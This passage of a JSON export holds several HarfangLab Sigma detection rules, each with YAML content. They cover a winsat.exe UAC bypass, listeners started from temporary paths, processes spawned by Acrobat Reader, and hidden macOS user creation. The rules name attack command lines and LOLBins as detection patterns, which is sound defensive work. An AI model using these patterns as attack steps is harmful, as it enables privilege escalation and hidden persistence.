Client.app/Contents/MacOS/RiotClientCrashHandler'\n          ParentImage: '/Users/Shared/Riot Games/Riot Client.app/Contents/MacOS/RiotClientServices'\n        - Image:\n            - '/Users/Shared/Riot Games/Riot Client.app/Contents/MacOS/RiotClientServices'\n            - '/users/shared/riot games/riot client.app/contents/frameworks/riot client.app/contents/macos/riot client'\n            - '/users/shared/riot games/riot client.app/contents/frameworks/riot client.app/contents/frameworks/riot client helper (renderer).app/contents/macos/riot client helper (renderer)'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.riotgames.RiotGames.*'\n\n    exclusion_lghub:\n        - ParentImage: '/Applications/lghub.app/Contents/MacOS/lghub_updater.app/Contents/MacOS/lghub_updater'\n        - Image: '/Users/Shared/LGHUB/depots/*/core/lghub.app/Contents/MacOS/lghub_updater.app/Contents/MacOS/lghub_updater'\n    exclusion_battlenet:\n        Image: '/Users/Shared/Battle.net/Agent/Agent.app/Contents/MacOS/Switcher'\n\n    exclusion_wizards:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.wizards.mtga'\n\n    exclusion_maxon:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'net.maxon.maxonapp.installer'\n\n    exclusion_gog:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.gog.galaxy.updater'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "08ddafaf-401d-4c3d-9389-e96925e90f0f",
+  "rule_name": "File Executed from Users Shared Folder",
+  "rule_description": "Detects the execution of a file from the Users shared folder.\nAdversaries may try to execute binaries from uncommon directories in order to bypass security features or hide malicious binaries.\nIt is recommended to check the executed process and its parents/children for malicious behavior.\n",
+  "rule_creation_date": "2024-05-10",
+  "rule_modified_date": "2025-09-24",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "08e4776f-548a-4b01-8538-c2af435dce4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093473Z",
+  "creation_date": "2026-03-23T11:45:34.093475Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093479Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME/blob/v3.2.7/Source/Akagi/methods/hybrids.c#L198"
+  ],
+  "name": "t1548_002_uac_bypass_winsat.yml",
+  "content": "title: UAC Bypass Executed via winsat.exe\nid: 08e4776f-548a-4b01-8538-c2af435dce4b\ndescription: |\n    Detects UAC bypass involving the hijacking of the devobj.dll or powrprof.dll DLL via winsat.exe (Windows System Assessment Tool).\n    This UAC bypass method acquires elevation through abusing APPINFO.DLL whitelisting model logic and the wusa installer (Windows Update Standalone Installer).\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the child and parent processes and user session to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME/blob/v3.2.7/Source/Akagi/methods/hybrids.c#L198\ndate: 2025/01/31\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_prepare:\n        CommandLine: '?:\\Windows\\System32\\cmd.exe /c wusa ?:\\Users\\\\*\\AppData\\Local\\Temp\\update.msu /extract:?:\\Windows\\system32\\sysprep\\'\n\n    selection_exploit:\n        CommandLine: '?:\\Windows\\system32\\sysprep\\winsat.exe'\n        ProcessIntegrityLevel: 'High'\n        ProcessParentIntegrityLevel: 'Medium'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "08e4776f-548a-4b01-8538-c2af435dce4b",
+  "rule_name": "UAC Bypass Executed via winsat.exe",
+  "rule_description": "Detects UAC bypass involving the hijacking of the devobj.dll or powrprof.dll DLL via winsat.exe (Windows System Assessment Tool).\nThis UAC bypass method acquires elevation through abusing APPINFO.DLL whitelisting model logic and the wusa installer (Windows Update Standalone Installer).\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the child and parent processes and user session to look for malicious content or actions.\n",
+  "rule_creation_date": "2025-01-31",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "08f3ae91-3811-4a4b-8f04-87302ca365c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612661Z",
+  "creation_date": "2026-03-23T11:45:34.612665Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612672Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1571/",
+    "https://attack.mitre.org/techniques/T1205/001/",
+    "https://attack.mitre.org/techniques/T1104/"
+  ],
+  "name": "t1571_process_listen_connections_suspicious_path.yml",
+  "content": "title: Process Started Listening for Incoming Connections from Suspicious Path\nid: 08f3ae91-3811-4a4b-8f04-87302ca365c9\ndescription: |\n    Detects a process that starts listening for incoming connections from a suspicious path.\n    Attackers may setup reverse shells listening for incoming connections as a persistence and C2 mechanism.\n    It is recommended to ensure the process had legitimate reason to do so and that the host wasn't compromised.\nreferences:\n    - https://attack.mitre.org/techniques/T1571/\n    - https://attack.mitre.org/techniques/T1205/001/\n    - https://attack.mitre.org/techniques/T1104/\ndate: 2023/12/15\nmodified: 2026/02/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1571\n    - attack.t1104\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1205.001\n    - classification.Linux.Source.NetworkListen\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: network_listen\n    product: linux\ndetection:\n\n    selection:\n        ProcessImage|startswith:\n            - '/tmp/'\n            - '/var/'\n            - '/run/'\n            - '/root/'\n            - '/dev/shm/'\n            - '/boot/'\n\n    filter_var:\n        ProcessImage|startswith:\n            - '/var/lib/'\n            - '/var/opt/'\n\n    # Ports opened on localhost aren't considered suspicious\n    filter_localhost:\n        Address:\n            - '127.0.0.1'\n            - '::1'\n\n    exclusion_java:\n        # Java is embedded in so much application it becomes quickly unfeasable to list all of them\n        ProcessImage|endswith: '/java'\n\n    exclusion_hoptimal:\n        ProcessImage: '/tmp/InstalleurVIDALHoptimalAndApi_unix_*/jre/bin/java'\n\n    exclusion_go:\n        # /tmp/go-build1480910053/b001/logsevents.test\n        # /tmp/go-build3216331136/b001/schedulerd.test\n        Image|startswith: '/tmp/go-build*/????/'\n\n    exclusion_plz_sandbox:\n        ProcessImage|startswith: '/tmp/plz_sandbox/'\n\n    exclusion_opcon:\n        ProcessImage|startswith: '/tmp/opcon_agent/bin/'\n\n    exclusion_jetbrains:\n        ProcessImage: '/tmp/.mount_*/jetbrains-toolbox'\n\n    exclusion_veeam:\n        ProcessImage:\n            - '/tmp/VeeamAgent*/veeamagent'\n            - '/var/tmp/veeamagent*/veeamagent'\n\n    exclusion_collabora_appimage:\n        ProcessImage: '/tmp/appimage_extracted_*/usr/bin/coolwsd'\n\n    exclusion_veeam_plugin_manager:\n        ProcessParentImage: '/opt/veeam/VeeamPluginforOracleRMAN/RMANPluginManager'\n\n    exclusion_ossec_ids:\n        - ProcessImage:\n            - '/var/ossec/bin/wazuh-remoted'\n            - '/var/ossec/bin/wazuh-authd'\n        - ProcessCommandLine: '/var/ossec/framework/python/bin/python3 /var/ossec/api/scripts/wazuh_apid.py'\n\n    exclusion_nexcloud:\n        ProcessImage: '/var/www/html/nextcloud/*/apps/notify_push/bin/x86_64/notify_push'\n\n    exclusion_oracle:\n        ProcessImage: '/tmp/CVU_*_resource/exectask'\n\n    exclusion_vscode:\n        ProcessImage: '/root/.vscode-server/bin/*/node'\n\n    exclusion_k3s:\n        ProcessImage|endswith: '/k3s/data/*/bin/k3s'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "08f3ae91-3811-4a4b-8f04-87302ca365c9",
+  "rule_name": "Process Started Listening for Incoming Connections from Suspicious Path",
+  "rule_description": "Detects a process that starts listening for incoming connections from a suspicious path.\nAttackers may setup reverse shells listening for incoming connections as a persistence and C2 mechanism.\nIt is recommended to ensure the process had legitimate reason to do so and that the host wasn't compromised.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-02-27",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1104",
+    "attack.t1205.001",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "08f5486f-0238-406f-a789-aad56def2bd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626532Z",
+  "creation_date": "2026-03-23T11:45:34.626534Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626538Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://hacksys.io/blogs/adobe-reader-resetform-cagg-rce-cve-2023-21608",
+    "https://attack.mitre.org/techniques/T1566/",
+    "https://attack.mitre.org/techniques/T1203/",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1104_acrobat_spawning_malicious_process.yml",
+  "content": "title: Suspicious Process Started by Acrobat Reader\nid: 08f5486f-0238-406f-a789-aad56def2bd3\ndescription: |\n    Detects the suspicious execution of binaries by Adobe Acrobat Reader.\n    Adversaries can use phishing techniques to send malicious PDF files that exploit vulnerabilities in Adobe Acrobat Reader, or contain malicious script as an initial access vector.\n    For example, the CVE-2023-21608 is known to make Adobe Acrobat execute arbitrary code when a user opens a malicious PDF file.\n    It is recommended to check the origin of the PDF file and the legitimacy of the executed binary.\nreferences:\n    - https://hacksys.io/blogs/adobe-reader-resetform-cagg-rce-cve-2023-21608\n    - https://attack.mitre.org/techniques/T1566/\n    - https://attack.mitre.org/techniques/T1203/\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2023/01/31\nmodified: 2026/01/12\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.execution\n    - attack.t1203\n    - attack.t1204.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_acrobat:\n        ParentImage|endswith:\n            - '\\Acrobat.exe'\n            - '\\AcroRd32.exe'\n            - '\\Acrobat_sl.exe'\n            - '\\AcroCEF.exe'\n\n    selection_bin:\n        OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'cscript.exe'\n            - 'wscript.exe'\n            - 'schtasks.exe'\n            - 'REGSVR32.EXE'\n            - 'wmic.exe' # use wmic to spawn PowerShell or else under wmiprvse or squiblytwo\n            - 'MSHTA.EXE'\n            - 'RUNDLL32.EXE'\n            - 'msiexec.exe'\n            - 'MSBuild.exe' # https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml\n            - 'appvlp.exe' # lolbas : https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/\n            - 'extrac32.exe' # https://twitter.com/ShadowChasing1/status/1557287930267578368\n            - 'calc.exe' # For POCs\n\n    exclusion_msiexec_adobe:\n        CommandLine|contains:\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-1036-1033-7760-BC15014EA700} CLEANUP_CEFFOLDER=1 DISABLE_FIU_CHECK=1 /qn\n            # C:\\WINDOWS\\system32\\msiexec.exe /I {AC76BA86-1036-1033-7760-BC15014EA700} REINSTALL=ALL REINSTALLMODE=omus /qb\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-1036-1033-7760-BC15014EA700} REINSTALLMODE=omus DISABLE_FIU_CHECK=1 IGNOREAAM=1 REPAIRFROMAPP=1 INSTALLUWPAPP=1 /qn\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-1033-FFFF-7760-BC15014EA700} REINSTALLMODE=omus DISABLE_FIU_CHECK=1 IGNOREAAM=1 REPAIRFROMAPP=1 INSTALLUWPAPP=1 /qn\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-1033-FF00-7760-BC15014EA700} REINSTALLMODE=omus DISABLE_FIU_CHECK=1 IGNOREAAM=1 REPAIRFROMAPP=1 INSTALLUWPAPP=1 /qn\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-1033-FFFF-7760-BC15014EA700} REINSTALLMODE=omus DISABLE_FIU_CHECK=1 IGNOREAAM=1 REPAIRFROMAPP=1 INSTALLUWPAPP=1 /qn\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-7AD7-1036-7B44-AC0F074E4100} CLEANUP_CEFFOLDER=1 DISABLE_FIU_CHECK=1 /qn\n            # C:\\Windows\\System32\\msiexec.exe /i {AC76BA86-1033-FFFF-7760-0C0F074E4100} CLEANUP_CEFFOLDER=1 DISABLE_FIU_CHECK=1 /qn\n            # msiexec.exe /I {AC76BA86-1033-F400-BA7E-000000000004} ADDLOCAL=ChineseSLanguageSupport /qb\n            # C:\\WINDOWS\\system32\\msiexec.exe /I {AC76BA86-1033-FFFF-7760-000000000006} REINSTALL=ALL REINSTALLMODE=omus /qb\n            - 'msiexec.exe /i {AC76BA86-????-????-????-????????????} '\n            - 'msiexec.exe  /i {AC76BA86-????-????-????-????????????} ' # The two spaces are intentional\n            - 'msiexec.exe /fmous {AC76BA86-????-????-????-????????????} '\n        OriginalFileName: 'msiexec.exe'\n\n    exclusion_spool:\n        CommandLine|startswith:\n            # rundll32 C:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\hpmsn140.DLL,MonitorPrintJobStatus *\n            # rundll32 C:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\hpmsn175.dll,MonitorPrintJobStatus *\n            - 'rundll32 ?:\\WINDOWS\\system32\\spool\\DRIVERS\\'\n            - 'rundll32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\'\n            # regsvr32 /s /n /i C:\\Windows\\system32\\spool\\DRIVERS\\W32X86\\3\\UDCOfficeAddin2000.dll\n            - 'regsvr32 /s /n /i ?:\\Windows\\system32\\spool\\DRIVERS\\'\n            - 'regsvr32 /s /n /i:OnPrinterAccess ?:\\WINDOWS\\system32\\spool\\DRIVERS\\'\n\n    exclusion_rundll32:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\rundll32.exe ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile'\n            - '?:\\WINDOWS\\SysWOW64\\rundll32.exe ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd MIIGq'\n            - '?:\\WINDOWS\\System32\\RunDll32.exe ?:\\WINDOWS\\system32\\hotplug.dll,HotPlugSafeRemovalDriveNotification '\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\eed_ec.dll,SpeedLauncher'\n            - '?:\\WINDOWS\\System32\\rundll32.exe ?:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll, ImageView_Fullscreen '\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\WINDOWS\\System32\\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding'\n            - '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\WINDOWS\\System32\\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding'\n            - '?:\\Windows\\System32\\rundll32.exe shwebsvc.dll,AddNetPlaceRunDll'\n\n    exclusion_mailprotocolhandler:\n        CommandLine|contains: 'rundll32.exe *,MailToProtocolHandler mailto:'\n\n    exclusion_open_adobe_website:\n        CommandLine|contains:\n            - 'start microsoft-edge:http://www.adobe.com/'\n            - 'start microsoft-edge:http://acrobat.adobe.com/'\n            - 'start microsoft-edge:https://www.adobe.com/'\n            - 'start microsoft-edge:https://acrobat.adobe.com/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "08f5486f-0238-406f-a789-aad56def2bd3",
+  "rule_name": "Suspicious Process Started by Acrobat Reader",
+  "rule_description": "Detects the suspicious execution of binaries by Adobe Acrobat Reader.\nAdversaries can use phishing techniques to send malicious PDF files that exploit vulnerabilities in Adobe Acrobat Reader, or contain malicious script as an initial access vector.\nFor example, the CVE-2023-21608 is known to make Adobe Acrobat execute arbitrary code when a user opens a malicious PDF file.\nIt is recommended to check the origin of the PDF file and the legitimacy of the executed binary.\n",
+  "rule_creation_date": "2023-01-31",
+  "rule_modified_date": "2026-01-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0915b4a3-17da-4c9c-bf08-1db96769b345",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625928Z",
+  "creation_date": "2026-03-23T11:45:34.625930Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625934Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.002/T1564.002.md",
+    "https://attack.mitre.org/techniques/T1564/002/"
+  ],
+  "name": "t1564_002_create_hidden_user_macos.yml",
+  "content": "title: Hidden User Created\nid: 0915b4a3-17da-4c9c-bf08-1db96769b345\ndescription: |\n    Detects a suspicious attempt at creating a hidden user.\n    Adversaries may use hidden users to hide the presence of user accounts they create or modify.\n    It is recommended to check it the created account is expected to be created.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.002/T1564.002.md\n    - https://attack.mitre.org/techniques/T1564/002/\ndate: 2022/08/25\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscl\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.AccountManipulation\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base_dscl:\n        Image: '/usr/bin/dscl'\n        User: 'root'\n        CommandLine|contains:\n            - ' create'\n            - ' -create'\n        ParentImage|contains: '?'\n\n    selection_specific_dscl_low_id_hidden1:\n        # ID < 500 are considered hidden by default on *OS\n        #CommandLine|re:\n        #    - '.*UniqueID *[0-4]?[0-9]?[0-9]( |$).*'\n        CommandLine|contains:\n            - 'UniqueID ? '\n            - 'UniqueID ?? '\n            - 'UniqueID 1?? '\n            - 'UniqueID 2?? '\n            - 'UniqueID 3?? '\n            - 'UniqueID 4?? '\n\n    selection_specific_dscl_low_id_hidden2:\n        # ID < 500 are considered hidden by default on *OS\n        CommandLine|endswith:\n            - 'UniqueID ?'\n            - 'UniqueID ??'\n            - 'UniqueID 1??'\n            - 'UniqueID 2??'\n            - 'UniqueID 3??'\n            - 'UniqueID 4??'\n\n    selection_specific_dscl_hidden_parameter:\n        #CommandLine|re: '.*IsHidden *1.*'\n        CommandLine|contains:\n        -    'IsHidden *1'\n        -    'IsHidden *true'\n\n    selection_base_sysadminctl:\n        Image: '/usr/sbin/sysadminctl'\n        User: 'root'\n        CommandLine|contains: ' -addUser'\n        ParentImage|contains: '?'\n\n    selection_specific_sysadminctl_low_id_hidden1:\n        # ID < 500 are considered hidden by default on *OS\n        #CommandLine|re:\n        #    - '.*-UID *[0-4]?[0-9]?[0-9]( |$).*'\n        CommandLine|contains:\n            - '-UID ? '\n            - '-UID ?? '\n            - '-UID 1?? '\n            - '-UID 2?? '\n            - '-UID 3?? '\n            - '-UID 4?? '\n\n    selection_specific_sysadminctl_low_id_hidden2:\n        # ID < 500 are considered hidden by default on *OS\n        CommandLine|endswith:\n            - '-UID ?'\n            - '-UID ??'\n            - '-UID 1??'\n            - '-UID 2??'\n            - '-UID 3??'\n            - '-UID 4??'\n\n    exclusion_jamf:\n        # /usr/bin/dscl localhost -create /Local/Default/Users/mngt-admin IsHidden 1\n        # parent:\n        #   /usr/local/jamf/bin/jamf postMdmEnrollment -server_url https://xxxx.jamfcloud.com -invitation yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\n        #   jamf enroll -invitation yyyyyyyyyyyyyyyyyyyyyyyyyyy -noPolicy\n        - ProcessParentImage: '/usr/local/jamf/bin/jamf'\n        - ProcessAncestors|contains: '|/usr/local/jamf/bin/jamf'\n\n    exclusion_known_users:\n        ProcessCommandLine|contains:\n            - '/usr/bin/dscl . -create users/_fsvpn_'   # fsecure\n            - 'create /users/_nixbld'                   # nix\n            - 'dscl . create /users/eset-ecsm-'         # eset\n\n    exclusion_windscribe:\n        ProcessParentImage: '/Library/PrivilegedHelperTools/com.windscribe.helper.macos'\n\n    exclusion_installer:\n        - ProcessParentCommandLine|startswith: '/bin/bash /tmp/PKInstallSandbox.??????/Scripts/'\n        - ProcessGrandparentCommandLine|startswith: '/bin/bash /tmp/PKInstallSandbox.??????/Scripts/'\n\n    exclusion_intune:\n        ProcessGrandparentImage: '/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon'\n\n    condition: ((selection_base_dscl and 1 of selection_specific_dscl_*) or (selection_base_sysadminctl and 1 of selection_specific_sysadminctl_*)) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0915b4a3-17da-4c9c-bf08-1db96769b345",
+  "rule_name": "Hidden User Created",
+  "rule_description": "Detects a suspicious attempt at creating a hidden user.\nAdversaries may use hidden users to hide the presence of user accounts they create or modify.\nIt is recommended to check it the created account is expected to be created.\n",
+  "rule_creation_date": "2022-08-25",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "096b4462-7384-4447-95a6-a2c2c26ffcb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096369Z",
+  "creation_date": "2026-03-23T11:45:34.096371Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096375Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.eclecticiq.com/chinese-state-sponsored-cyber-espionage-activity-targeting-semiconductor-industry-in-east-asia",
+    "https://securelist.com/common-ttps-of-attacks-against-industrial-organizations/110319/",
+    "https://twitter.com/malwrhunterteam/status/1558149472672251904",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mcods.yml",
